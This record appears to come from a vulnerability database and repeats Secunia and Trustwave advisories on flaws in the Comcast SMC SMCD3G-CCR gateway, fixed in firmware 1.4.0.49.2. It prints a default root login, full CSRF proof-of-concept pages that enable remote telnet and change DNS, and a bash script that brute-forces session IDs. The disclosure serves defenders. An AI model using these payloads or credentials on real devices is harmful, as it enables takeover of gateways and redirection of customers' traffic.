This transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format.
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"data": "The web management portal on the SMC SMCD3G-CCR (aka Comcast Business Gateway) with firmware before 1.4.0.49.2 uses predictable session IDs based on time values, which makes it easier for remote attackers to hijack sessions via a brute-force attack on the userid cookie. Comcast DOCSIS is prone to multiple cross-site request-forgery and security-bypass vulnerabilities in business gateways. \nExploiting these issues may allow a remote attacker to perform certain administrative actions, bypass certain security restrictions, gain unauthorized access to the affected device, or delete certain data. Other attacks are also possible. \nComcast DOCSIS 3.0 is vulnerable; other versions may also be affected. ----------------------------------------------------------------------\n\n\nGet a tax break on purchases of Secunia Solutions!\n\nIf you are a U.S. company, you may be qualified for a tax break for your software purchases. Learn more at:\nhttp://secunia.com/products/corporate/vim/section_179/\n\n\n----------------------------------------------------------------------\n\nTITLE:\nSMC SMCD3G-CCR Two Vulnerabilities\n\nSECUNIA ADVISORY ID:\nSA43199\n\nVERIFY ADVISORY:\nSecunia.com\nhttp://secunia.com/advisories/43199/\nCustomer Area (Credentials Required)\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=43199\n\nRELEASE DATE:\n2011-03-05\n\nDISCUSS ADVISORY:\nhttp://secunia.com/advisories/43199/#comments\n\nAVAILABLE ON SITE AND IN CUSTOMER AREA:\n * Last Update\n * Popularity\n * Comments\n * Criticality Level\n * Impact\n * Where\n * Solution Status\n * Operating System / Software\n * CVE Reference(s)\n\nhttp://secunia.com/advisories/43199/\n\nONLY AVAILABLE IN CUSTOMER AREA:\n * Authentication Level\n * Report Reliability\n * Secunia PoC\n * Secunia Analysis\n * Systems Affected\n * Approve Distribution\n * Remediation Status\n * Secunia CVSS Score\n * CVSS\n\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=43199\n\nONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:\n * AUTOMATED SCANNING\n\nhttp://secunia.com/vulnerability_scanning/personal/\nhttp://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/\n\nDESCRIPTION:\nTwo vulnerabilities have been reported in SMC SMCD3G-CCR, which can\nbe exploited by malicious people to conduct brute force and\ncross-site request forgery attacks. \n\n2) The web management application allows users to perform certain\nactions via HTTP requests without making proper validity checks to\nverify the requests. This can be exploited to e.g. enable management\nvia Telnet by tricking an administrator into visiting a malicious web\nsite while being logged-in to the application. \n\nSOLUTION:\nReportedly fixed in firmware version 1.4.0.49.2. \n\nPROVIDED AND/OR DISCOVERED BY:\nZack Fasel and Matthew Jakubowski, Trustwave\u0027s SpiderLabs. \n\nORIGINAL ADVISORY:\nTrustwave\u0027s SpiderLabs (TWSL2011-002):\nhttps://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt\n\nOTHER REFERENCES:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nDEEP LINKS:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXTENDED DESCRIPTION:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXTENDED SOLUTION:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXPLOIT:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\nprivate users keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/advisories/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/advisories/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n. Trustwave\u0027s SpiderLabs Security Advisory TWSL2011-001:\nVulnerabilities in Comcast DOCSIS 3.0 Business Gateways\n(SMCD3G-CCR)\n\nhttps://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt\n\nPublished: 2011-02-04\nVersion: 1.0\n\nVendor: Comcast (http://comcast.com) and SMC (http://www.smc.com)\nProduct: Comcast DOCSIS 3.0 Business Gateway - SMCD3G-CCR\nVersion affected: Versions prior to 1.4.0.49.2\n\nProduct description:\nThe Comcast DOCSIS 3.0 Business Gateway provides end-user termination of\ncable internet services for Comcast Business Class customers with enhanced\nservices including Network Address Translation (NAT), firewalling, and\nVirtual Private Network (VPN) termination. \n\nCredit: Zack Fasel and Matthew Jakubowski of Trustwave\u0027s SpiderLabs\n\nFinding 1: Static Credentials\nCVE: CVE-2011-0885\n\nAll SMCD3G-CCR gateways provided by Comcast have an administrative\nlogin of \"mso\" with the password of \"D0nt4g3tme\". These passwords\nare not provided as a part of the installation of the device and are\nnot recommended to be changed, thus the majority of users are unaware\nof the default configuration. \n\nWith these default credentials, internal attackers can modify device\nconfigurations to leverage more significant attacks, including redirection\nof DNS requests, creation of a remote VPN termination point, and\nmodification of NAT entries. These credentials provide access to the web\ninterface for management, as well as a telnet interface that provides shell\naccess to the device. The mso login provides shell as UID 0 (root). \n\n\nFinding 2: Cross Site Request Forgery (CSRF)\nCVE: CVE-2011-0886\nSMCD3G-CCR gateways provided by Comcast permit CSRF attacks against\nnumerous management pages allowing an attacker to embed in a webpage a\nmalicious request against the gateway\u0027s management interface. Through\nthis, an attacker can modify device configuration and enable remote\nadministration via a telnet shell and http. \n\nThe following Proof of Concept (PoC) connects to the gateway, logs in,\nmodifies the remote administration to allow any user to connect externally,\nand modifies the DNS information. \n\n## smcd3g-csrf-poc.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-1.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-2.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-3.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e \u003c/body\u003e \u003c/html\u003e\n\n## smcd3g-csrf-poc-1.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"http://10.1.10.1/goform/login\" method=\"post\"\n name=\"tF\"\u003e\n\u003cinput type=\"hidden\" name=\"user\" value=\"mso\" /\u003e\n\u003cinput type=\"hidden\" name=\"pws\" value=\"D0nt4g3tme\" /\u003e\n\u003c/form\u003e \u003cscript\u003e document.tF.submit(); \u003c/script\u003e \u003c/body\u003e\n\u003c/html\u003e\n\n## smcd3g-csrf-poc-2.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"http://10.1.10.1/goform/RemoteRange\"\nname=\"RMangement\" method=\"post\"\u003e \u003cinput type=\"hidden\"\nvalue=\"feat-admin-remote\" name=\"file\"\u003e \u003cinput type=\"hidden\"\nvalue=\"admin/\" name=\"dir\"\u003e \u003cinput type=\"hidden\"\nname=\"RemoteRange\" value=\"0\" /\u003e \u003cinput type=\"hidden\"\nname=\"rm_access\" value=\"on\" /\u003e \u003cinput type=\"hidden\"\nname=\"Remote0\" value=\"0.0.0.0,0.0.0.0,1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_port\" value=\"8080\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_enable\" value=\"on\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"msoremote_enableCheck\" value=\"on\" /\u003e\n\u003cinput type=\"hidden\" name=\"mso_remote_enable\" value=\"1\" /\u003e\n\u003cinput type=\"hidden\" name=\"remote_enable\" value=\"0\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_enable\" value=\"on\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_port\" value=\"8181\" /\u003e\n\u003cinput type=\"hidden\" name=\"https_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_enable\" value=\"on\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_port\" value=\"2323\" /\u003e \u003cinput\ntype=\"hidden\" name=\"telnet_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"Remote1=\" value=\"\" /\u003e \u003c/form\u003e \u003c/body\u003e\n\u003c/html\u003e \u003cscript\u003e\nsetTimeout(\"document.RMangement.submit()\",4000);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\n## smcd3g-csrf-poc-3.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform name=\"WanIPform\"\naction=\"http://10.1.10.1/goform/Basic\" method=\"post\"\u003e \u003cinput\ntype=\"hidden\" value=\"feat-wan-ip\" name=\"file\"\u003e \u003cinput\ntype=\"hidden\" value=\"admin/\" name=\"dir\"\u003e \u003cinput\ntype=\"hidden\" value=\"Fixed\" name=\"DNSAssign\"\u003e \u003cinput\ntype=\"hidden\" value=\"0\" name=\"dhcpc_release\"\u003e \u003cinput\ntype=\"hidden\" value=\"0\" name=\"dhcpc_renew\"\u003e \u003cinput\ntype=\"hidden\" value=\"\" name=\"domain_name\"\u003e \u003cinput\ntype=\"hidden\" value=\"\" name=\"WDn\"\u003e \u003cinput type=\"hidden\"\nname=\"SysName\" value=\"\" /\u003e \u003cinput type=\"hidden\"\nname=\"manual_dns_enable\" value=\"on\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr\" value=\"4.2.2.1\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr0\" value=\"4\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr1\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr2\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"DAddr3\" value=\"1\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr\" value=\"4.2.2.2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr0\" value=\"4\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr1\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr2\" value=\"2\" /\u003e \u003cinput type=\"hidden\"\nname=\"PDAddr3\" value=\"2\" /\u003e \u003c/form\u003e \u003cscript\u003e\nsetTimeout(\"document.WanIPform.submit()\",5000);\n\u003c/script\u003e\n\u003c/body\u003e\n\u003c/html\u003e\n\nIf the PoC was embedded in any web page the targeted user visited while\nlogged into the device, the attacker would be provided remote\nadministration in to the gateway device include a telnet shell. This would\nallow the attacker to redirect traffic to a malicious end-point. \n\n\nFinding 3: Weak Session Management\nCVE: CVE-2011-0887\nSMCD3G-CCR gateways provided by Comcast utilize a predictable value to\nvalidate the active web management portal session. The epoch time of\nbeginning of the session is stored as a cookie labeled \"userid\". This\nprovides a predictable range of session IDs that can be brute-forced. \n\nThe following PoC attempts to brute force the session IDs by requesting the\nadmin page with an incrementing cookie and determining whether it wants to\nredirect to login.asp. \n\n## smcd3g-session-poc.sh\n\n#!/bin/bash\nstart=1267604160\nend=1267605960\nfor (( i=$start; i\u003c=$end; i++)) do if [ `curl -sb userid=$i\nhttp://10.1.10.1/admin/index.asp | grep -c login.asp` -lt\n\"1\" ] then echo \"Session ID Found: $i\"\nfi\nif [ $(($i % 100)) -eq \"0\" ]\nthen echo \"Currently at $i\"\nfi\ndone\n\nThrough this, an attacker can brute-force the possible valid session IDs. \nSessions do by default expire within 10 minutes, thus the attack window is\nlimited but can be leveraged with other attack methods. \n\n\nVendor Response:\nThese issues have been addressed as of version 1.4.0.49.2\n\nRemediation Steps:\nIn order to determine if the correct version is installed, users should\nview the \"About\" link in the management interface. Versions 1.4.0.49.2 and\nabove have been corrected. \n\nVendor Communication Timeline:\n08/30/10 - Vulnerability disclosed\n01/21/11 - Patch Released\n02/04/11 - Advisory Published\n\nRevision History:\n1.0 Initial publication\n\nReferences\n1. http://www.smc.com/index.cfm?event=viewProduct\u0026pid=1678\n\n\nAbout Trustwave:\nTrustwave is the leading provider of on-demand and subscription-based\ninformation security and payment card industry compliance management\nsolutions to businesses and government entities throughout the world. For\norganizations faced with today\u0027s challenging data security and compliance\nenvironment, Trustwave provides a unique approach with comprehensive\nsolutions that include its flagship TrustKeeper compliance management\nsoftware and other proprietary security solutions. Trustwave has helped\nthousands of organizations--ranging from Fortune 500 businesses and large\nfinancial institutions to small and medium-sized retailers--manage\ncompliance and secure their network infrastructure, data communications and\ncritical information assets. Trustwave is headquartered in Chicago with\noffices throughout North America, South America, Europe, Africa, China and\nAustralia. For more information, visit https://www.trustwave.com\n\nAbout Trustwave\u0027s SpiderLabs:\nSpiderLabs(R) is the advanced security team at Trustwave focused on\napplication security, incident response, penetration testing, physical\nsecurity and security research. The team has performed over a thousand\nincident investigations, thousands of penetration tests and hundreds of\napplication security tests globally. In addition, the SpiderLabs Research\nteam provides intelligence through bleeding-edge research and proof of\nconcept tool development to enhance Trustwave\u0027s products and services. \nhttps://www.trustwave.com/spiderlabs\n\nDisclaimer:\nThe information provided in this advisory is provided \"as is\" without\nwarranty of any kind. Trustwave disclaims all warranties, either express or\nimplied, including the warranties of merchantability and fitness for a\nparticular purpose. In no event shall Trustwave or its suppliers be liable\nfor any damages whatsoever including direct, indirect, incidental,\nconsequential, loss of business profits or special damages, even if\nTrustwave or its suppliers have been advised of the possibility of such\ndamages. Some states do not allow the exclusion or limitation of liability\nfor consequential or incidental damages so the foregoing limitation may not\napply. \n\n\n\nThis transmission may contain information that is privileged, confidential, and/or exempt from disclosure under applicable law. If you are not the intended recipient, you are hereby notified that any disclosure, copying, distribution, or use of the information contained herein (including any reliance thereon) is STRICTLY PROHIBITED. If you received this transmission in error, please immediately contact the sender and destroy the material in its entirety, whether in electronic or hard copy format. \n\n_______________________________________________\nFull-Disclosure - We believe in it. \nCharter: http://lists.grok.org.uk/full-disclosure-charter.html\nHosted and sponsored by Secunia - http://secunia.com/\n",
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VAR-201102-0083
Vulnerability from variot - Updated: 2025-04-11 23:02A certain Comcast Business Gateway configuration of the SMC SMCD3G-CCR with firmware before 1.4.0.49.2 has a default password of D0nt4g3tme for the mso account, which makes it easier for remote attackers to obtain administrative access via the (1) web interface or (2) TELNET interface. Comcast DOCSIS is prone to multiple cross-site request-forgery and security-bypass vulnerabilities in business gateways. Exploiting these issues may allow a remote attacker to perform certain administrative actions, bypass certain security restrictions, gain unauthorized access to the affected device, or delete certain data. Other attacks are also possible. Comcast DOCSIS 3.0 is vulnerable; other versions may also be affected. ----------------------------------------------------------------------
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TITLE: SMC SMCD3G-CCR Two Vulnerabilities
SECUNIA ADVISORY ID: SA43199
VERIFY ADVISORY: Secunia.com http://secunia.com/advisories/43199/ Customer Area (Credentials Required) https://ca.secunia.com/?page=viewadvisory&vuln_id=43199
RELEASE DATE: 2011-03-05
DISCUSS ADVISORY: http://secunia.com/advisories/43199/#comments
AVAILABLE ON SITE AND IN CUSTOMER AREA: * Last Update * Popularity * Comments * Criticality Level * Impact * Where * Solution Status * Operating System / Software * CVE Reference(s)
http://secunia.com/advisories/43199/
ONLY AVAILABLE IN CUSTOMER AREA: * Authentication Level * Report Reliability * Secunia PoC * Secunia Analysis * Systems Affected * Approve Distribution * Remediation Status * Secunia CVSS Score * CVSS
https://ca.secunia.com/?page=viewadvisory&vuln_id=43199
ONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI: * AUTOMATED SCANNING
http://secunia.com/vulnerability_scanning/personal/ http://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/
DESCRIPTION: Two vulnerabilities have been reported in SMC SMCD3G-CCR, which can be exploited by malicious people to conduct brute force and cross-site request forgery attacks.
1) The web management application generates session identifiers incrementally, which can be exploited to brute force a valid session identifier via the "userid" cookie.
2) The web management application allows users to perform certain actions via HTTP requests without making proper validity checks to verify the requests. This can be exploited to e.g. enable management via Telnet by tricking an administrator into visiting a malicious web site while being logged-in to the application.
SOLUTION: Reportedly fixed in firmware version 1.4.0.49.2.
PROVIDED AND/OR DISCOVERED BY: Zack Fasel and Matthew Jakubowski, Trustwave's SpiderLabs.
ORIGINAL ADVISORY: Trustwave's SpiderLabs (TWSL2011-002): https://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt
OTHER REFERENCES: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
DEEP LINKS: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
EXTENDED DESCRIPTION: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
EXTENDED SOLUTION: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
EXPLOIT: Further details available in Customer Area: http://secunia.com/products/corporate/EVM/
About: This Advisory was delivered by Secunia as a free service to help private users keeping their systems up to date against the latest vulnerabilities.
Subscribe: http://secunia.com/advisories/secunia_security_advisories/
Definitions: (Criticality, Where etc.) http://secunia.com/advisories/about_secunia_advisories/
Please Note: Secunia recommends that you verify all advisories you receive by clicking the link. Secunia NEVER sends attached files with advisories. Secunia does not advise people to install third party patches, only use those supplied by the vendor.
Unsubscribe: Secunia Security Advisories http://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org
. Trustwave's SpiderLabs Security Advisory TWSL2011-001: Vulnerabilities in Comcast DOCSIS 3.0 Business Gateways (SMCD3G-CCR)
https://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt
Published: 2011-02-04 Version: 1.0
Vendor: Comcast (http://comcast.com) and SMC (http://www.smc.com) Product: Comcast DOCSIS 3.0 Business Gateway - SMCD3G-CCR Version affected: Versions prior to 1.4.0.49.2
Product description: The Comcast DOCSIS 3.0 Business Gateway provides end-user termination of cable internet services for Comcast Business Class customers with enhanced services including Network Address Translation (NAT), firewalling, and Virtual Private Network (VPN) termination.
Credit: Zack Fasel and Matthew Jakubowski of Trustwave's SpiderLabs
Finding 1: Static Credentials CVE: CVE-2011-0885
All SMCD3G-CCR gateways provided by Comcast have an administrative login of "mso" with the password of "D0nt4g3tme". These passwords are not provided as a part of the installation of the device and are not recommended to be changed, thus the majority of users are unaware of the default configuration.
With these default credentials, internal attackers can modify device configurations to leverage more significant attacks, including redirection of DNS requests, creation of a remote VPN termination point, and modification of NAT entries. These credentials provide access to the web interface for management, as well as a telnet interface that provides shell access to the device. The mso login provides shell as UID 0 (root).
Finding 2: Cross Site Request Forgery (CSRF) CVE: CVE-2011-0886 SMCD3G-CCR gateways provided by Comcast permit CSRF attacks against numerous management pages allowing an attacker to embed in a webpage a malicious request against the gateway's management interface. Through this, an attacker can modify device configuration and enable remote administration via a telnet shell and http.
The following Proof of Concept (PoC) connects to the gateway, logs in, modifies the remote administration to allow any user to connect externally, and modifies the DNS information.
smcd3g-csrf-poc.htm
smcd3g-csrf-poc-1.htm
document.tF.submit();smcd3g-csrf-poc-2.htm
setTimeout("document.RMangement.submit()",4000);
smcd3g-csrf-poc-3.htm
setTimeout("document.WanIPform.submit()",5000);If the PoC was embedded in any web page the targeted user visited while logged into the device, the attacker would be provided remote administration in to the gateway device include a telnet shell. This would allow the attacker to redirect traffic to a malicious end-point.
Finding 3: Weak Session Management CVE: CVE-2011-0887 SMCD3G-CCR gateways provided by Comcast utilize a predictable value to validate the active web management portal session. The epoch time of beginning of the session is stored as a cookie labeled "userid". This provides a predictable range of session IDs that can be brute-forced.
The following PoC attempts to brute force the session IDs by requesting the admin page with an incrementing cookie and determining whether it wants to redirect to login.asp.
smcd3g-session-poc.sh
!/bin/bash
start=1267604160
end=1267605960
for (( i=$start; i<=$end; i++)) do if [ curl -sb userid=$i
http://10.1.10.1/admin/index.asp | grep -c login.asp -lt
"1" ] then echo "Session ID Found: $i"
fi
if [ $(($i % 100)) -eq "0" ]
then echo "Currently at $i"
fi
done
Through this, an attacker can brute-force the possible valid session IDs. Sessions do by default expire within 10 minutes, thus the attack window is limited but can be leveraged with other attack methods.
Vendor Response: These issues have been addressed as of version 1.4.0.49.2
Remediation Steps: In order to determine if the correct version is installed, users should view the "About" link in the management interface. Versions 1.4.0.49.2 and above have been corrected.
Vendor Communication Timeline: 08/30/10 - Vulnerability disclosed 01/21/11 - Patch Released 02/04/11 - Advisory Published
Revision History: 1.0 Initial publication
References 1. http://www.smc.com/index.cfm?event=viewProduct&pid=1678
About Trustwave: Trustwave is the leading provider of on-demand and subscription-based information security and payment card industry compliance management solutions to businesses and government entities throughout the world. For organizations faced with today's challenging data security and compliance environment, Trustwave provides a unique approach with comprehensive solutions that include its flagship TrustKeeper compliance management software and other proprietary security solutions. Trustwave has helped thousands of organizations--ranging from Fortune 500 businesses and large financial institutions to small and medium-sized retailers--manage compliance and secure their network infrastructure, data communications and critical information assets. Trustwave is headquartered in Chicago with offices throughout North America, South America, Europe, Africa, China and Australia. For more information, visit https://www.trustwave.com
About Trustwave's SpiderLabs: SpiderLabs(R) is the advanced security team at Trustwave focused on application security, incident response, penetration testing, physical security and security research. The team has performed over a thousand incident investigations, thousands of penetration tests and hundreds of application security tests globally. In addition, the SpiderLabs Research team provides intelligence through bleeding-edge research and proof of concept tool development to enhance Trustwave's products and services. https://www.trustwave.com/spiderlabs
Disclaimer: The information provided in this advisory is provided "as is" without warranty of any kind. Trustwave disclaims all warranties, either express or implied, including the warranties of merchantability and fitness for a particular purpose. In no event shall Trustwave or its suppliers be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages, even if Trustwave or its suppliers have been advised of the possibility of such damages. Some states do not allow the exclusion or limitation of liability for consequential or incidental damages so the foregoing limitation may not apply.
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"data": "A certain Comcast Business Gateway configuration of the SMC SMCD3G-CCR with firmware before 1.4.0.49.2 has a default password of D0nt4g3tme for the mso account, which makes it easier for remote attackers to obtain administrative access via the (1) web interface or (2) TELNET interface. Comcast DOCSIS is prone to multiple cross-site request-forgery and security-bypass vulnerabilities in business gateways. \nExploiting these issues may allow a remote attacker to perform certain administrative actions, bypass certain security restrictions, gain unauthorized access to the affected device, or delete certain data. Other attacks are also possible. \nComcast DOCSIS 3.0 is vulnerable; other versions may also be affected. ----------------------------------------------------------------------\n\n\nGet a tax break on purchases of Secunia Solutions!\n\nIf you are a U.S. company, you may be qualified for a tax break for your software purchases. Learn more at:\nhttp://secunia.com/products/corporate/vim/section_179/\n\n\n----------------------------------------------------------------------\n\nTITLE:\nSMC SMCD3G-CCR Two Vulnerabilities\n\nSECUNIA ADVISORY ID:\nSA43199\n\nVERIFY ADVISORY:\nSecunia.com\nhttp://secunia.com/advisories/43199/\nCustomer Area (Credentials Required)\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=43199\n\nRELEASE DATE:\n2011-03-05\n\nDISCUSS ADVISORY:\nhttp://secunia.com/advisories/43199/#comments\n\nAVAILABLE ON SITE AND IN CUSTOMER AREA:\n * Last Update\n * Popularity\n * Comments\n * Criticality Level\n * Impact\n * Where\n * Solution Status\n * Operating System / Software\n * CVE Reference(s)\n\nhttp://secunia.com/advisories/43199/\n\nONLY AVAILABLE IN CUSTOMER AREA:\n * Authentication Level\n * Report Reliability\n * Secunia PoC\n * Secunia Analysis\n * Systems Affected\n * Approve Distribution\n * Remediation Status\n * Secunia CVSS Score\n * CVSS\n\nhttps://ca.secunia.com/?page=viewadvisory\u0026vuln_id=43199\n\nONLY AVAILABLE WITH SECUNIA CSI AND SECUNIA PSI:\n * AUTOMATED SCANNING\n\nhttp://secunia.com/vulnerability_scanning/personal/\nhttp://secunia.com/vulnerability_scanning/corporate/wsus_sccm_3rd_third_party_patching/\n\nDESCRIPTION:\nTwo vulnerabilities have been reported in SMC SMCD3G-CCR, which can\nbe exploited by malicious people to conduct brute force and\ncross-site request forgery attacks. \n\n1) The web management application generates session identifiers\nincrementally, which can be exploited to brute force a valid session\nidentifier via the \"userid\" cookie. \n\n2) The web management application allows users to perform certain\nactions via HTTP requests without making proper validity checks to\nverify the requests. This can be exploited to e.g. enable management\nvia Telnet by tricking an administrator into visiting a malicious web\nsite while being logged-in to the application. \n\nSOLUTION:\nReportedly fixed in firmware version 1.4.0.49.2. \n\nPROVIDED AND/OR DISCOVERED BY:\nZack Fasel and Matthew Jakubowski, Trustwave\u0027s SpiderLabs. \n\nORIGINAL ADVISORY:\nTrustwave\u0027s SpiderLabs (TWSL2011-002):\nhttps://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt\n\nOTHER REFERENCES:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nDEEP LINKS:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXTENDED DESCRIPTION:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXTENDED SOLUTION:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\nEXPLOIT:\nFurther details available in Customer Area:\nhttp://secunia.com/products/corporate/EVM/\n\n----------------------------------------------------------------------\n\nAbout:\nThis Advisory was delivered by Secunia as a free service to help\nprivate users keeping their systems up to date against the latest\nvulnerabilities. \n\nSubscribe:\nhttp://secunia.com/advisories/secunia_security_advisories/\n\nDefinitions: (Criticality, Where etc.)\nhttp://secunia.com/advisories/about_secunia_advisories/\n\n\nPlease Note:\nSecunia recommends that you verify all advisories you receive by\nclicking the link. \nSecunia NEVER sends attached files with advisories. \nSecunia does not advise people to install third party patches, only\nuse those supplied by the vendor. \n\n----------------------------------------------------------------------\n\nUnsubscribe: Secunia Security Advisories\nhttp://secunia.com/sec_adv_unsubscribe/?email=packet%40packetstormsecurity.org\n\n----------------------------------------------------------------------\n\n\n. Trustwave\u0027s SpiderLabs Security Advisory TWSL2011-001:\nVulnerabilities in Comcast DOCSIS 3.0 Business Gateways\n(SMCD3G-CCR)\n\nhttps://www.trustwave.com/spiderlabs/advisories/TWSL2011-002.txt\n\nPublished: 2011-02-04\nVersion: 1.0\n\nVendor: Comcast (http://comcast.com) and SMC (http://www.smc.com)\nProduct: Comcast DOCSIS 3.0 Business Gateway - SMCD3G-CCR\nVersion affected: Versions prior to 1.4.0.49.2\n\nProduct description:\nThe Comcast DOCSIS 3.0 Business Gateway provides end-user termination of\ncable internet services for Comcast Business Class customers with enhanced\nservices including Network Address Translation (NAT), firewalling, and\nVirtual Private Network (VPN) termination. \n\nCredit: Zack Fasel and Matthew Jakubowski of Trustwave\u0027s SpiderLabs\n\nFinding 1: Static Credentials\nCVE: CVE-2011-0885\n\nAll SMCD3G-CCR gateways provided by Comcast have an administrative\nlogin of \"mso\" with the password of \"D0nt4g3tme\". These passwords\nare not provided as a part of the installation of the device and are\nnot recommended to be changed, thus the majority of users are unaware\nof the default configuration. \n\nWith these default credentials, internal attackers can modify device\nconfigurations to leverage more significant attacks, including redirection\nof DNS requests, creation of a remote VPN termination point, and\nmodification of NAT entries. These credentials provide access to the web\ninterface for management, as well as a telnet interface that provides shell\naccess to the device. The mso login provides shell as UID 0 (root). \n\n\nFinding 2: Cross Site Request Forgery (CSRF)\nCVE: CVE-2011-0886\nSMCD3G-CCR gateways provided by Comcast permit CSRF attacks against\nnumerous management pages allowing an attacker to embed in a webpage a\nmalicious request against the gateway\u0027s management interface. Through\nthis, an attacker can modify device configuration and enable remote\nadministration via a telnet shell and http. \n\nThe following Proof of Concept (PoC) connects to the gateway, logs in,\nmodifies the remote administration to allow any user to connect externally,\nand modifies the DNS information. \n\n## smcd3g-csrf-poc.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-1.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-2.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e\n\u003ciframe src=\"./smcd3g-csrf-poc-3.htm\" width=\"1\" height=\"1\"\u003e\n\u003c/iframe\u003e \u003c/body\u003e \u003c/html\u003e\n\n## smcd3g-csrf-poc-1.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"http://10.1.10.1/goform/login\" method=\"post\"\n name=\"tF\"\u003e\n\u003cinput type=\"hidden\" name=\"user\" value=\"mso\" /\u003e\n\u003cinput type=\"hidden\" name=\"pws\" value=\"D0nt4g3tme\" /\u003e\n\u003c/form\u003e \u003cscript\u003e document.tF.submit(); \u003c/script\u003e \u003c/body\u003e\n\u003c/html\u003e\n\n## smcd3g-csrf-poc-2.htm\n\n\u003chtml\u003e\n\u003cbody\u003e\n\u003cform action=\"http://10.1.10.1/goform/RemoteRange\"\nname=\"RMangement\" method=\"post\"\u003e \u003cinput type=\"hidden\"\nvalue=\"feat-admin-remote\" name=\"file\"\u003e \u003cinput type=\"hidden\"\nvalue=\"admin/\" name=\"dir\"\u003e \u003cinput type=\"hidden\"\nname=\"RemoteRange\" value=\"0\" /\u003e \u003cinput type=\"hidden\"\nname=\"rm_access\" value=\"on\" /\u003e \u003cinput type=\"hidden\"\nname=\"Remote0\" value=\"0.0.0.0,0.0.0.0,1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_port\" value=\"8080\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_enable\" value=\"on\" /\u003e \u003cinput\ntype=\"hidden\" name=\"http_flag\" value=\"1\" /\u003e \u003cinput\ntype=\"hidden\" name=\"msoremote_enableCheck\" value=\"on\" /\u003e\n\u003cinput type=\"hidden\" name=\"mso_remote_enable\" value=\"1\" /\u003e\n\u003cinput type=\"hidden\" 